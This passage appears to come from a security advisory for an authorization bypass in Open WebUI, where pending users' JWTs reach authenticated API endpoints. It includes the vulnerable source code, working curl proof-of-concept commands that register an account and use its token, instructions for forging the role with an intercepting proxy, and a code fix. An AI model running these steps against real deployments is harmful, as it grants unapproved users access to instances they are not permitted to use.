An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.

With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.

Request

GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs

Response

HTTP/1.1 200 OK
...

{
"models": [
    {
    "name": "ollama.com/emsi/mixtral-8x22b:latest",
    "model": "ollama.com/emsi/mixtral-8x22b:latest",
    "modified_at": "2024-04-12T17:27:51.479356401-04:00",
    "size": 79509285991,
    "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
    "details": {
        "parent_model": "",
        "format": "gguf",
        "family": "llama",
        "families": ["llama"],
        "parameter_size": "141B",
        "quantization_level": "Q4_0"
    },
    "urls": [0]
    },
    ...
]
}

The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180

As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.

@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
    url_idx: Optional[int] = None, user=Depends(get_current_user)
):
    if url_idx == None:
        models = await get_all_models()
        
        if app.state.MODEL_FILTER_ENABLED:
            if user.role == "user":
                models["models"] = list(
                    filter(
                        lambda model: model["name"] in app.state.MODEL_FILTER_LIST,
                        models["models"],
                    )
                )
                return models
        return models

This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.

The vulnerability is caused by a missing authorization check that occurs with user=Depends(get_current_user). The logic of that function is found here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97

def get_current_user(
auth_token: HTTPAuthorizationCredentials = Depends(bearer_security),
):
    # auth by api key
    if auth_token.credentials.startswith("sk-"):
        return get_current_user_by_api_key(auth_token.credentials)
    # auth by jwt token
    data = decode_token(auth_token.credentials)
    if data != None and "id" in data:
        user = Users.get_user_by_id(data["id"])
        if user is None:
            raise HTTPException(
                status_code=status.HTTP_401_UNAUTHORIZED,
                detail=ERROR_MESSAGES.INVALID_TOKEN,
            )
        return user
    else:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=ERROR_MESSAGES.UNAUTHORIZED,
        )

As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.

12. Proof-of-Concept

First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:

curl -s -X $'GET' \
    -H $'Host: openwebui.example.com' \
    -H $'Content-Type: application/json' \
    $'https://openwebui.example.com/ollama/api/tags'

The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.

Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.

export JWT=$(curl -s -X POST \
    -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \
    -H 'Content-Type: application/json' \
    --data '{"name":"","email":"[email protected]","password":"a"}' \
    'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')

curl -v $'GET' \
    -H $'Host: openwebui.example.com' \
    -H $'Content-Type: application/json' \
    -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'https://openwebui.example.com/ollama/api/tags'

Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.

13. Mitigation Recommendation

The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116 for the correct function to use.

def get_verified_user(user=Depends(get_current_user)):
if user.role not in {"user", "admin"}:
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
    )
return user

Modify all authenticated endpoints to utilize get_verified_user() function instead of get_current_user().